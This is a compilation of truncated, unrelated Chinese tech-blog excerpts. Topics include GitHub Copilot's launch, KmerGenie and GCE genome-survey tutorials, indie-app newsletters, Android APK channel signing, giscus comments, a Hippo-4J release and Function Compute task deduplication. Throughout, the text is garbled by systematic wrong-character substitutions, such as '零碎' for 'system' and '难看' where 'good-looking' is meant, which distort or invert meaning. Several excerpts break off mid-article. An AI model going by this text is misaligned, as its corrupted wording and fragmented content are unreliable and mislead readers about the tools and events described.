当你技术没有那么好时，找造好的轮子更理论，不要费劲解决像数据库这种偏技术底层的货色。于是vika维格表被作为简化的 CMS 零碎，进入他的眼帘。产品经理的思维就是带着目的性和门路的。在工具选型的过程之中，choogoo 很早就决定他要的是一个可能通过 API 往里写数据，并且数据能在后盾看到的产品。 维格表：群信息收集 维格表：告诉布告治理 - 群内主动推送告诉布告 在决定应用维格表之前，choogoo 后期调研了许多在线文档和多维表格产品，但这些产品都有许多限度，比方可能产品的 API 不对集体凋谢，须要企业认证或开明；或者开明申请的链路过长。 ...

通过近一年的测试，微软 GitHub 人工智能编程工具 Copilot 终于在昨天正式上线了。 据官网介绍，GitHub 副产品 AI 编码辅助工具 Copilot 最早于 2021 年 6 月在技术预览中公布，旨在帮忙软件开发者在 Visual Studio、Visual Studio code、Neovim 和 JetBrains IDE 等开发环境中编写代码时通过主动提供倡议来更快地编写代码。 GitHub Copilot 反对的编程语言包含 Python、JavaScript、TypeScript、Java、Ruby 和 Go。有了 GitHub Copilot，软件开发人员能够在编辑器中应用内联正文来获取 JavaScript、Python、TypeScript 和 Ruby 等编程语言的代码倡议。 只有用户给出提醒，GitHub Copilot 就能够帮忙开发人员依据上下文主动编写残缺的函数，或实现残缺的性能，包含 docstrings、正文、函数名、代码。它还容许用户承受、回绝以及手动编辑这些代码倡议。 据悉，GitHub Copilot 是一种基于 OpenAI 的文本生成技术，AI 对编程工具能够作为文本编辑器和 IDE 的扩大。它提供了与风行应用程序（如 Neovim、Microsoft Visual Studio、Visual Studio 代码和各种 JetBrains IDE）的集成。 早前，微软向 OpenAI 投资了 10 亿美元，这家钻研公司当初由前 Y Combinator 总裁 Sam Altman 领导，并由此创立了 GitHub Copilot。 ...

（全文约1800字） 【举荐】用Smudgeplot评估物种倍性后，用组合jellyfish+GenomeScope1.0做二倍体物种的基因组考察，用组合KMC+GenomeScope2.0做多倍体物种的基因组考察。 1. k-mer进行基因组考察的软件k-mer进行基因组考察分为k-mer频数统计和基因组特色评估两步。 KmerGenie能够同时实现两步。第一步k-mer频数统计和第二步基因组特色评估。KmerGenie第一步的后果可用于其他软件第二步基因组特色评估。KmerGenie能够同时剖析多个预设的k-mers，并选出一个最佳基因组组装k-mer值。2. KmerGenie 简介KmerGenie在2014年第一次发表，2018年最近一次更新。开发用于基因组组装的参数k的最佳值的抉择。KmerGenie官网：http://kmergenie.bx.psu.edu/。官网蕴含软件的下载地址，示例报告，和版本更新记录。3. KmerGenie 装置在KmerGenie官网：http://kmergenie.bx.psu.edu/ 下载，目前最新版是18年更新的1.7051。 装置前须要python（>=2.7）和R反对，我用的anaconda的python，装置运行实现后主动把kmergenie命令增加到了/anaconda3/bin/上面，所以不必再次把kmergenie命令增加到环境变量了。 wget http://kmergenie.bx.psu.edu/kmergenie-1.7051.tar.gztar -xzvf kmergenie-1.7051.tar.gzpython setup.py installkmergenie -h4. KmerGenie 运行命令kmergenie fastq_list.txt -o ./sample -l 17 -k 121 -s 10 -t 4 > sample.log1.txt 2> sample.log2.txt fastq_list.txt文件保留着fastq文件的地位和文件名，每个文件一行。默认单倍体模式，以k-mer长度17为起始，121为终止，10为距离逐个测试；程序运行线程数4。后果输入在以后门路下，以sample为后果文件前缀名。“sample.log1.txt”和“sample.log2.txt”别离为程序运行时的正确/谬误输入日志。参数--diploid：应用二倍体模式，默认是单倍体模式（haploid）。--one-pass：默认是两次评估（two passes），这个参数设置用来跳过在2bp分辨率上评估k的第二次评估。-k 121：最大的k-mer值，默认是121。-l 15：最小的k-mer值，默认是15。-s 10：在最小和最大的k-mer值间的距离，默认是10。意味着会进行k=15,25,35...115,121的剖析。-e 200：程序运行内存，默认是每个线程200MB。-t 8：线程数。-o histograms：输入文件的前缀，默认是histograms。--debug：开发者应用，输入R脚本。--orig-hist：老程序的评估办法（更慢且准确性更低）。5. KmerGenie 后果后果报告文件sample_report.html下载所有后果文件，关上sample_report.html，报告内容包含： 结尾以折线图的模式展现出在每种长度k-mer下，估算的基因组大小。同时给出了最佳k-mer抉择数值。其实就是将评估基因组总大小最高的那个k-mer值断定为最佳k-mer，为基因组组装时k-mer的抉择提供参考。折线图的具体阐明，包含最佳k-mer的评估规定，以及当测序深度足够高时的k-mer抉择等。每种k-mer的频数分布图，在基因组的k-mer中可依据该图断定基因组杂合度或反复序列比例。频数散布表sample.histo包含各k-mer取值下的频数散布表sample.histo和对应的频数分布图sample.histo.pdf。如果想用某个k-mer的频数散布表做基因组特色评估，本人绘制频数分布图，能够应用sample.histo文件。所有k-mer取值评估的基因组大小记录在sample.dat包含sample.dat和sample.dat.pdf。6. notes二倍体模式如果待测物种是低杂合低反复的简略基因组，则应用单倍体模式。如果是简单基因组，应用二倍体模式。如果不确定基因组简略还是简单，能够先用单倍体模式运行，依据后果中是否有显著杂合峰判断，再运行二倍体模式。KmerGenie软件默认将k-mer频数曲线的纵坐标进行了log10转化能够通过批改脚本来更改展现成果：在脚本kmergenie-1.7051/scripts/plot_histogram.r中第110行，suppressWarnings函数的参数log='y'设置的log10转化，能够通过去除log='y'参数来展现未log10转化的原始坐标。在脚本kmergenie-1.7051/scripts/plot_histogram.r中第110行，suppressWarnings函数的参数covNormalized改为covNormalized[-c(1:5)]来过滤掉Abundance<5的区域。k-mer取值KmerGenie软件是用于二代数据组装基因组举荐k-mer参数的。举荐的最佳k-mer是评估基因组最大的对应的k-mer。在基因组组装时，k-mer的取值受测序深度的影响，若测序深度越高，可抉择更高的k-mer进行尝试组装，以失去更长更残缺的contigs序列。但若在低深度测序模式下应用较高的k-mer进行组装时，就会引入较高的错误率。体现为k-mer频数散布曲线（纵坐标未进行log10转化的）的左侧因为测序谬误导致的低频k-mer数量未随着k-mer频数升高降落至最低即产生了回升趋势。用KmerGenie软件做基因组考察时，能够依据每个k-mer值的频数分布图后果抉择更为适合的k-mer值做基因组特色评估。7. referencesKmerGenie website：http://kmergenie.bx.psu.edu/KmerGenie paper：https://academic.oup.com/bioi...http://blog.sciencenet.cn/blo...https://www.jianshu.com/p/025...

（全文约2000字） 【举荐】用Smudgeplot评估物种倍性后，用组合jellyfish+GenomeScope1.0做二倍体物种的基因组考察，用组合KMC+GenomeScope2.0做多倍体物种的基因组考察。 1. k-mer进行基因组考察的软件k-mer进行基因组考察分为k-mer频数统计和基因组特色评估两步。 GCE能够分步实现两步。第一步k-mer频数统计和第二步基因组特色评估。GCE第一步的后果sample.histo能够用在GenomeScope和其余基因组特色评估的软件上，实现第二步。2. GCE 简介GCE (genomic charactor estimator)是华大基因在2013年开发的一款基于贝叶斯模型的用于基因组考察的软件，在2020年公布了版本v2。 3. GCE 装置3.1. GCE 下载GCE次要托管在BGI的ftp站点：ftp://ftp.genomics.org.cn/pub/gce。也能够在GCE github：https://github.com/fanagislab...上找到。3.2. GCE 装置已编译【举荐】 git clone git@github.com:fanagislab/GCE.git未编译 wget ftp://ftp.genomics.org.cn/pub/gce/gce-1.0.2.tar.gztar -xzvf gce-1.0.2.tar.gz #解压缩和解包make #编译文件夹下有kmerfreq和gce两个命令。 老版本是kmer_freq_hash代替kmerfreq命令。 4. GCE 运行GCE软件里蕴含两个次要的命令，kmerfreq用来实现第一步k-mer频数统计，gce用来实现第二步基因组特色评估。 4.1. k-mer频数统计4.1.1. 运行命令/path/gce-1.0.2/kmerfreq -k 17 -t 24 -p sample input.path &> kmer_freq.log 参数-k 17：k-mer size-t 24：线程-p prefix：输入文件的前缀input.path：输出数据的门路保留在input.path文本文件4.1.2. 输入文件sample.kmer.freq.stat：后果文件后果文件sample.kmer.freq.stat，记录了每个k-mer频数的统计信息，用于生成GCE的输出文件。之前的版本，该文件只统计到第255行，第255行之后的数据合并至第255行，示意k-mer呈现频数>=255的片段总数。当初这个版本(gce-1.0.2)下限变成了65534。kmer_freq.log：运行日志文件老版本的日志文件还对测序数据进行了简要统计。在该文件的最下方，统计了k-mer片段总数、k-mer品种数、k-mer均匀频数、碱基总数、reads均匀长度、基因组大小的粗略预计等信息。4.2. 基因组特色评估4.2.1. 获取参数获取k-mer总数less sample.kmer.freq.stat | grep "#Kmer indivdual number" 用于gce的-g参数 获取k-mer深度分布表less sample.kmer.freq.stat | perl -ne 'next if(/^#/ || /^\s/); print; ' | awk '{print $1"\t"$2}' > sample.kmer.freq.stat.2colum ...

这里记录我每周工作学习过程中遇到学到的优良开源我的项目，优良文章，以及优良博客。有很多优良的内容，都值得被铭刻，值得被分享，值得被更多人学习，周刊想通过这里每周的记录分享，一方面强化本人对优良内容的意识与学习，另一方面可能把优质内容对立汇总，以飨公众。 周刊的内容会以运维技术和 Golang 为主，以及 GitHub 上优良我的项目或教训。曾经通过一次筛选过滤的内容，品质不会太差，在你闲暇无事的时候，能够过去轻易看看，必能有所收益。 我的项目地址： https://github.com/eryajf/Lea...

这个专题每期会对几款特定类型的产品做一些深度剖析，次要是我对一些产品的察看和剖析。次要关注产品的市场/品类/定位/趋势/变现模式/推广玩法等，笼罩国内外挪动利用，可能也会做一些Web端的产品剖析。为独立创造者提供独立见解，帮忙你发现新产品方向，启动和欠缺你的我的项目。这个专题我会在 DecoHack 独立产品周刊继续公布，感兴趣的搭档能够点击订阅我的周刊。 1. DailyBean这是一个简略日记工具，App Store 超过120万的下载，这是韩国公司 bluesignum 的产品。次要市场是美国韩国英国等 T1 发达国家。 做这类日记利用的益处就是，这类利用的用户次留能到50%，7日留存能到35%。毕竟是日记，重度用户应用了就会每天都来用，用户粘性十分高。这个产品的商业模式是付费订阅，180RMB/年的订阅价格算很低了，订阅后能够查看特有的报告，备份，还有个性化的一些性能。 DailyBean 这个产品做了 Instagram 账号，整个插画格调都很难看，做 Ins 的益处除了展现这些产品之外，在 FB 上买量的时候用户也能够看到实在的内容，另外也是拉近和用户之间间隔的一个作用，也能够做用户社群。个别有在认真做产品的会思考做一下 Instagram 的产品官网账号。 另外看了下这个产品的 ASO 关键词，全副关联的是一个长期霸占衰弱榜前10 的一个产品 Finch (芬奇) ，这个产品也是很可恶的格调，下载量超过170万的产品，我前面专门做一下剖析，这个产品不是一般的日志利用，做了很多的互动，是一个情绪跟踪器。尽管都是根本在去年5月份同时上线的， Finch (芬奇) 也是 DailyBean 这个产品的最大竞品。 当初越来越多的产品，都是在本来成熟的工具根底上做一些翻新包装，性能根本换汤不换药，技术门槛并不高，然而主打的就是细分，好玩乏味，对产品交互设计有比拟高的要求，因为当初的用户曾经不满足简略的性能需要，更多的会看好不好看，好不好玩。再很多类型的产品上都能看出这个趋势，比方记账，效率工具，健身工具。并且这类产品如果在交互操作上有一些翻新，苹果官网也是很喜爱举荐这类产品的。 2. KeepClean这个产品不必做太多功能介绍，就是一个清理软件，Android 端，能够看一下买量的素材，仍旧是四五年前的推广模式，仍旧有需要，有意思的，然而当初和之前的工具产品流量玩法有点不一样。这个产品是由 APPS INNOVA 公司开发，并且这个公司是 IGG 的子公司，产品主推的是东南亚市场，所以这个逻辑其实很简略，这个子公司做的工具产品，是不会思考盈利的，只须要用最便宜的钱买到用户，为母公司 IGG 的游戏做低成本的转化，在自家工具产品里发行自家游戏。毕竟买一个游戏用户老本十分高。 做游戏的支出相比做工具产品就不是一个段位的了。这也是很多做游戏的公司开始做一些工具利用，做工具的一些公司开始做游戏的起因。 3. Stock Alarm这是一个实时跟踪加密货币和股票价格走势的产品。能够设置警报来实时跟踪价格变动。这个产品每日支出在大略600美金，很不错的数据。值得说的是，这个独立产品的 SEO 做的很厉害！在“stock alerts (警报) ”方面排名前 5。这的确很厉害了。产品的开发者说他们做 SEO 和 ASO 曾经有一段时间了，因为付费营销对他们（不是因为没试过）简直没有天然搜寻那么无效。开发者做了 iOS 和 Android 还有 Web 网页版本。 看了一下数据，这个产品在19年底，20年初上线，目前为止iOS下载量还不到10万，预估支出奉献累计曾经有20万美金。次日留存差不多40%，7日留存差不多在13%。很不错的问题。看上去是次要在做 iOS，Android 本本也是在去年中的时候上线。最近每日支出奉献也有200美金。对于一两个独立开发者来说这支出曾经是很不错了。 ...

家喻户晓，渠道包作为当下国内 Android 利用市场常见的散发形式，当 APP 和后盾交互或进行数据上报时，会带上各自的 channel 渠道信息，以此不便企业 & 开发者统计 APP 在各渠道的下载量、用户量、留存率等要害沉闷数据，并针对性的调整利用内容和推广计划。而 Android 利用市场存在大大小小几百个商店，每当须要公布 APP 或迭代新版本，往往须要开发者生成多个渠道包或是在各利用市场从新散发，且官网提供的 ProductFlavor 多渠道打包工具，对于每一个渠道包，都须要进行一次残缺的 APK 打包过程，对于重视效率的开发者而言整个环节其实相当耗时，是否有更好的多渠道签名打包计划呢？ 近期，顶象技术团队开源了本人的 Android apk 打包工具，精简，高效，利用开发者须要的多渠道打包神器来了！ 顶象 Apk 签名和多渠道打包工具下载后的包内文件： 一．签名性能简介咱们先来看看 V1 和 V2 签名的区别： 在 Android Studio 中点击菜单 Build->Generate signed apk... 打包签名有两种签名选项 V1 (Jar Signature) V2 (Full APK Signature),** 从 Android 7.0 开始，谷歌减少新签名计划 V2 Scheme (APK Signature); 但 Android 7.0 以下版本，只能用旧签名计划 V1 scheme (JAR signing) V1 签名: 来自 JDK (jarsigner), 对 zip 压缩包的每个文件进行验证，签名后还能对压缩包批改 (挪动 / 从新压缩文件)对 V1 签名的 apk/jar 解压，在 META-INF 寄存签名文件 (MANIFEST.MF, CERT.SF, CERT.RSA),其中 MANIFEST.MF 文件保留所有文件的 SHA1 指纹 (除了 META-INF 文件), 由此可知: V1 签名是对压缩包中单个文件签名验证 ...

本周刊记录乏味好玩的独立产品相干内容，每周公布新闻资讯上周产生了两件小事，第一个是 Figma Config 大会，目前最热门的设计软件 Figma 举办的一次寰球设计会议，用户汇集在一起互相学习。Config 2022于5月10日至11日在旧金山进行了24小时的现场直播。能够在官网 Youtube 频道上看所有的大会视频内容，预计还须要几天能力上传完所有的视频。第二个就是谷歌的 2022 I/O 大会，来自世界各地的开发者和狂热者汇集在一起，在线或亲自庆贺谷歌产品和服务的最新更新。凝听Android、Firebase、Flatter、AI/ML、Google Cloud等方面的最新消息，并深刻行业专家主持的技术会议和研讨会。所有的视频能够在 YouTube 官网频道上看到。产品举荐画图本 - 优雅高效的流程图、思维导图利用。开发者 @ahshengchen 给我发了一些兑换码，先到先得：pY84UDHKe / djzX9P6Hg / lz5TArBuZ / xuC9WTUei / EmSY1pFcE / ZOGuMi0gZ / GKj7mMoUf / iUiFSkBZg / Ap6NdzG4u / VoVZmTFTe。savvy - 书签管理器，开发者是香港同胞，反对了 iOS 和 Android，产品设计的很简洁，官网和 APP 都很难看。是个很不错的独立产品。 Image Smith - 了一个 Mac 上的图片压缩的小工具 Image Smith 。试了一下成果很不错。限免 3 天。作者是 Moon.fm 的开发者 @gaodengming ，设计做的很不错。 粉丝数 - 实时展现社交平台粉丝数，之前有举荐过一个，也是一个有意思的独立产品。能够做个性化增值服务。是个不错的小产品，技术要求很低。 Motion DevTools - 一个前端动画开发插件，工夫线，查看、编辑和导出动画，也做了增值服务，产品面向的用户十分精准。开发者 @mattgperry 还做过一个产品 Motion One 一个基于 Web Animations API 的 JavaScript 动画库。官网做的都很难看，产品的品质都很好，是一个很胜利的独立开发者。 ...

如果您有集体博客，您可能会应用评论零碎来治理博客的探讨和评论。如果是这样，是时候思考更新您的评论零碎了。在GitHub Discussions(讨论区)的帮忙下，你能够把你的博客的评论晋升到一个新的程度。在这篇文章中，我将解释如何将GitHub探讨整合到你的博客中并充分利用它。 什么是“GitHub 探讨”？ GitHub 探讨是一个能够在每个 GitHub 仓库上启用的论坛。它使开发者可能轻松地探讨新性能，从社区取得反馈，创立投票，发布公告等。 GitHub讨论区是开发者和社区成员的一站式单干场合。 如何应用 GitHub 探讨作为聊天零碎为了将GitHub探讨整合到你的博客，咱们将应用 giscus。 giscus是一个由GitHub探讨反对的评论零碎。它能够让你把仓库中的探讨整合到你的博客中。 你的读者能够在你的博客上留下评论，这些评论会同时呈现在你的博客和你的代码库的探讨页面上。 应用讨论区作为你的博客聊天零碎的劣势 它是完全免费的没有广告或跟踪它超级弱小你对评论有齐全的控制权和齐全的修改权。有很多主题它是相当可自定义的你能够在你本人的服务器上自行托管请记住，此工具次要实用于开发者博客，因为大多数开发人员应用 GitHub。 如何在你的博客中整合giscus先决条件 一个博客（你必须可能取得源代码）一个 GitHub 帐户你抉择的代码库必须是公开的首先，你须要为你的代码库启用探讨性能。 转到代码库Settings -> 在Features局部下 -> 勾选Discussions框。 接下来，在你的代码库中装置giscus应用程序。 转到 https://github.com/apps/giscus，依照提醒操作，并仅授予对选定代码库的拜访权限。 当初是重要的局部：咱们须要配置giscus小部件。 首先，进入giscus主页，滚动到Configuration局部。 抉择您的小部件语言，这是您想要显示小部件的语言。 = 而后输出你的代码库名称和你的用户名，如用username/reponame。 = 对于页面↔️探讨映射，我倡议抉择 "探讨题目蕴含页面URL"。但依据你的须要，抉择最适宜你的那一个。 接下来，在你的GitHub 代码库上的探讨页面创立一个类别——比方 "Comments（评论）"——或者抉择现有的类别。 而后依据须要启用可选性能。 接下来，抉择主题。不要放心，你能够通过编程来切换不同的主题。 最初，复制并粘贴生成的代码。 Giscus将依据你的设置生成一个脚本标签，你能够将其粘贴到你的代码中。但咱们将看到如何应用giscus组件。 如何应用 giscus 组件如果你的博客是用React/Vue/Svelte或Web组件构建的，那么你能够装置giscus组件。 例如，要在React中集成giscus，请做以下工作： 装置 giscus 包。 npm i @giscus/reactoryarn add $giscus/react而后在你的组件中导入 giscus 并应用它。复制咱们在上一步失去的属性，从所有的属性中删除 data-，并将属性转化为无效的 jsx 属性。 import Giscus from '@giscus/react';export default function MyApp() { return ( <Giscus id="comments" repo="giscus/giscus-component" repoId="MDEwOlJlcG9zaXRvcnkzOTEzMTMwMjA=" category="Announcements" categoryId="DIC_kwDOF1L2fM4B-hVS" mapping="specific" term="Welcome to @giscus/react component!" reactionsEnabled="1" emitMetadata="0" inputPosition="top" theme="light" lang="en" loading="lazy" /> );}对其余框架来说，这基本上是同样的程序。 ...

文章首发在公众号（龙台的技术笔记），之后同步到集体网站：xiaomage.info Hippo-4J 间隔上一个版本 1.2.1 曾经过来一个月的工夫。在此期间，由 8 位贡献者 提交了 170+ commits，正式公布 1.3.0 版本。 注：这是一个 兼容历史版本 的重大降级。 Github：https://github.com/mabaiwan/h... Gitee：https://gitee.com/mabaiwancn/... HIPPO-4J 1.3.0Feature增加 RabbitMQ 线程池监控及动静变更增加 RocketMQ 线程池监控及动静变更增加 Dubbo 线程池监控及动静变更增加 SpringCloud Stream RocketMQ 生产线程池监控及动静变更Refactor重构容器线程池查问及批改性能优化配置核心触发监听后，所执行的数据变更逻辑Optimize前端控制台删除无用组件服务端页面字段未显示中文控制台 UI 优化批改线程池实例后实时刷新列表参数容器线程池编辑仅限 Admin 权限SpringBoot Starter 变更包门路BUG修复 SpringBoot Nacos 动静刷新不失效报警配置 alarm=false 不配置告诉报警平台和接管人报错三方框架线程池适配Hippo-4J 1.3.0 最大的性能公布就是开发出了 适配三方框架的根底框架。 目前已实现 Dubbo、RabbitMQ、RocketMQ、RocketMQSpringCloudStream 的线程池适配，后续还会接入 Kafka、Hystrix 等框架或中间件的线程池适配。 引入适配三方框架 Jar 包引入 Hippo-4J server 或 core 的 maven jar 坐标后，还须要引入对应的框架适配 jar： <dependency> <groupId>cn.hippo4j</groupId> <!-- Dubbo --> <artifactId>hippo4j-spring-boot-starter-adapter-dubbo</artifactId> <!-- RabbitMQ --> <artifactId>hippo4j-spring-boot-starter-adapter-rabbitmq</artifactId> <!-- RocketMQ --> <artifactId>hippo4j-spring-boot-starter-adapter-rocketmq</artifactId> <!-- SpringCloud Stream RocketMQ --> <artifactId>hippo4j-spring-boot-starter-adapter-spring-cloud-stream-rocketmq</artifactId> <version>1.3.0</version></dependency>如果想感觉引入多个 jar 包繁琐，能够仅需引入一个全量包，Hippo-4J 框架底层会依据各中间件的条件，判断加载具体线程池适配器。 ...

git克隆GitHub我的项目 git clone https://github.cn/abc查看所有分支 git branch -a查看以后分支。分支前有*示意正在应用的分支 git branch切换分支 git checkout 分支名

今日，一位 18 岁的老手因向 GitHub 仓库提交 PR(Pull Request，Pull 申请)，后果一个“@”让 GitHub 变身“僵尸网络”向近 40 万开发者狂发骚扰邮件的“reply-all 风暴”热度席卷了开源圈。 一个“@”，让 40 万开发者共收到 6000+ 万封电子邮件据悉，这位老手名叫 Rohith Sreedharan ，起初原本是想向游戏公司 Epic Games 的 GitHub 存储库推送一个虚伪的 Pull 申请（向 UE 提交新代码）以获取一些奉献历史记录（试图在自述中更改 3 个单词）来“练练手”。 但在这样做的过程中，Rohith Sreedharan 为了让本人提交的 PR 尽快被合并，他在评论中 （“@”）了与 Epic Games 组织相干的所有开发者，其中就包含退出该组织以查看空幻引擎(Unreal Engine)源代码的任何人。 后果，他的“@EpicGames/developers”这一操作触发了 reply-all 事件：向退出 Epic Games 组织的所有 GitHub 用户发送对于此 PR 的邮件告诉。 也就是说，Rohith Sreedharan 谬误地“@”了与 Epic Games 组织相干的所有开发者，即退出该组织以查看空幻引擎(Unreal Engine)源代码的任何人。 后果，这个“@”一下子导致了大概 40 万应用空幻引擎 (Unreal Engine) 的开发者收到了来自 GitHub 无关此 Pull 申请的告诉邮件。 ...

前言无论是在大数据处理畛域，还是在音讯解决畛域，工作零碎都有一个很要害的能力 - 工作触发去重的保障。这个能力对于一些准确性要求极高的场景中（如金融等）是必不可少的。作为 Serverless 化工作解决平台，Serverless Task 也须要提供这类保障，在用户利用层面及本身零碎外部两个维度具备工作的精确触发语义。本文次要针对音讯解决可靠性这一主题来介绍函数计算外部的一些技术细节，并展现如何在理论利用中应用函数计算所提供的这方面能力来加强工作执行的可靠性。 浅谈工作去重在探讨异步音讯解决零碎时，音讯解决的根本语义是无奈绕开的话题。在一个异步的音讯解决零碎（工作零碎）中，一条音讯的解决流程简化如下图所示： 图 1 用户下发工作 - 进入队列 - 工作处理单元监听并获取音讯 - 调度到理论 worker 执行 在工作音讯整个的流转过程中，任何组件（环节）可能呈现的宕机等问题会导致音讯的谬误传递。个别的工作零碎会提供至少 3 个层级的音讯解决语义： ●At-Most-Once：保障音讯最多被传递一次。当呈现网络分区、零碎组件宕机时，可能呈现音讯失落；●At-Least-Once：保障音讯至多被传递一次。消息传递链路反对谬误重试，利用音讯重发机制保障上游肯定收到上游音讯，然而在宕机或者网络分区的场景下，可能导致雷同消息传递屡次。●Exactly-Once机制则能够保障音讯准确被传送一次，准确一次并不是意味着在宕机或网络分区的场景下没有重传，而是重传对于接受方的状态不产生任何扭转，与传送一次的后果一样。在理论生产中，往往是依赖重传机制 & 接管方去重（幂等）来做到 Exactly Once。 函数计算可能提供工作散发的 Exactly Once 语义，即无论在何种状况下，反复的工作将被零碎认为是雷同的触发，进而只进行一次的工作散发。 联合图 1，如果要做到工作去重，零碎至多须要提供两个维度的保障： 1、零碎侧保障：任务调度零碎本身的 failover 不影响音讯的传递正确性及唯一性；2、提供给用户一种机制，能够做到整个业务逻辑的触发去重语义。 上面，咱们将联合简化的 Serverless Task 零碎架构，谈一谈函数计算是如何做到下面的能力的。 函数计算异步工作触发去重的实现函数计算的工作零碎架构如下图所示 图 2 首先，用户调用函数计算 API 下发一个工作（步骤 1）进入零碎的 API-Server 中，API-Server 进行校验后将音讯传入外部队列（步骤 2.1）。后盾有一个异步模块实时监听外部队列（步骤 2.2），之后调用资源管理模块获取运行时资源（步骤 2.2-2.3）。获取运行时资源后，调度模块将工作数据下发到 VM 级别的客户端中（步骤 3.1），并由客户端将工作转发至理论的用户运行资源（步骤 3.2）。为了做到上文中所提到的两个维度的保障，咱们须要在以下层面进行反对： 1、零碎侧保障：在步骤 2.1 - 3.1 中，任何一个两头过程的 Failover 只能触发一次步骤 3.2 的执行，即只会调度一次用户实例的运行；2、用户侧利用级别去重能力：可能反对用户屡次重复执行步骤 1，但理论只会触发一次 步骤 3.2 的执行。 零碎侧优雅降级 & Failover 时的工作散发去重保障当用户的音讯进入函数计算零碎中（即实现步骤 2.1）后，用户的申请将收到 HTTP 状态码 202 的 Response，用户能够认为曾经胜利提交一次工作。从该工作音讯进入 MQ 起，其生命周期便由 Scheduler 保护，所以 Scheduler 的稳定性及 MQ 的稳定性将间接影响零碎 Exactly Once 的实现计划。 ...

<blockquote>周刊在公布一个多月后订阅人数不齐全统计曾经超过1000了，也是一个小里程碑，感激大家的订阅，这个周刊内容我也始终在优化，对于周刊公布的工作流我也始终抽空在做优化。还没有做到特地称心。写周刊看上去很简略，然而的确是须要大量浏览，而后花工夫整顿，写这个周刊也是扭转了很多我之前的浏览习惯。这周新增了播客举荐的板块，有空的时候听听播客也是很好的信息输出形式，不过中文播客内容还是比拟少。感兴趣的同学能够在DecoHack 周刊的官网订阅  。</blockquote><img class="alignnone wp-image-229" title="0ac827a34fa553b1b28e900b267e31d1" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/729af2ee05e64161871c08c3c019a238~tplv-k3u1fbpfcp-zoom-1.image" alt="0ac827a34fa553b1b28e900b267e31d1" width="1081" height="291" /><h2>产品举荐</h2> (Not Boring) Weather  不无聊天气APP，和个别的 2D 界面不同，(Not Boring) Weather 应用 3D 数字、动画和符号来显示天气。很有创意，Apple Design Award 获奖的产品！十分简洁，滚动工夫线或点击工夫的时候视觉和触觉反馈十分棒。还有丑陋的小部件和一次性购买的额定主题。也做了订阅服务。很残缺的一个产品。<img class="alignnone wp-image-257" title="949405bb7e5dc915a07c557d295922d5" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/da000ce9d75c4b4f831f71c1ed6c7431~tplv-k3u1fbpfcp-zoom-1.image" alt="949405bb7e5dc915a07c557d295922d5" width="1086" height="557" /> 应用 AirPods 静止传感器也能给跳绳计数的APP， YaoYao - 跳绳，AirPods 少数派 也具体评测过这个App，苹果官网和很多媒体都有举荐过这个产品，开发者 汪二 自称“中年程序猿就业摆摊标杆，被光没选中之人”。<img class="alignnone size-full wp-image-240" title="3698f59ee1493523ff6f0e510c28320e-1" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/6b4a9836fcd5412fb9c2fb71dfea37f5~tplv-k3u1fbpfcp-zoom-1.image" alt="3698f59ee1493523ff6f0e510c28320e-1" width="1001" height="516" /> 用AirPods来改善你的坐姿APP： Posture Pal - Improve Stance 这个APP也是联合了Air Pods的能力，通过Apple AirPods 中的静止传感器帮忙你改善颈部和肩部姿态。跟下面的跳绳APP相似，都是很有创意的产品，UI也挺难看的。长颈鹿就是脖子长很有意思。<img class="alignnone wp-image-259" title="4329c7269dea4d7fcaab7d9fbf9f9724" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/da237ff793f94b8a8082f1bee35b0091~tplv-k3u1fbpfcp-zoom-1.image" alt="4329c7269dea4d7fcaab7d9fbf9f9724" width="1059" height="561" /> Hints - 治理笔记、链接、屏幕截图等等的产品，不过还是 Cubox 比拟牛逼。<img class="alignnone wp-image-267" title="6c7b0b148de83ba46d537e54a866bbfe" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/f63cfe58c8f144d48b078ab39089bc58~tplv-k3u1fbpfcp-zoom-1.image" alt="6c7b0b148de83ba46d537e54a866bbfe" width="1081" height="423" /> Nochart – 能够把 Notion 的数据库转为可操作的图表。还在 Beta 测试中的产品。<img class="alignnone wp-image-251" title="3ebf2039204d06e9334a91c7569779f5" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/970b7db69eee46c698550e32405deecd~tplv-k3u1fbpfcp-zoom-1.image" alt="3ebf2039204d06e9334a91c7569779f5" width="1114" height="622" /> InvestOS - 这个能够写集体投资日志的产品，指标用户很明确，试了一下，也能够看到他人写的投资日志。不错的方向。<img class="alignnone wp-image-252" title="4c05271fa0798a938cd9a4db1791e916" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/460ba7b095f24343ab65af39c1e38177~tplv-k3u1fbpfcp-zoom-1.image" alt="4c05271fa0798a938cd9a4db1791e916" width="1136" height="523" /> Moleskine Balance 习惯和指标是一款工夫布局、安顿的 App，Logo长得挺难看的，除了睡眠的工夫，其余的工夫都能够用来安顿工作、工作等等。这款利用的 UI 设计好看，辅助你更分明地晓得本人的习惯，从而更深刻地理解自我。须要留神的是这款利用应用全副的性能是须要付费订阅的，依据本人的应用习惯进行购买。<img class="alignnone wp-image-234" title="566ffb14d72bd2f9bea27f73be6fa9ef" src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/de39d7a257344d24a18f70b9bc3578c1~tplv-k3u1fbpfcp-zoom-1.image" alt="566ffb14d72bd2f9bea27f73be6fa9ef" width="1079" height="562" /> ...

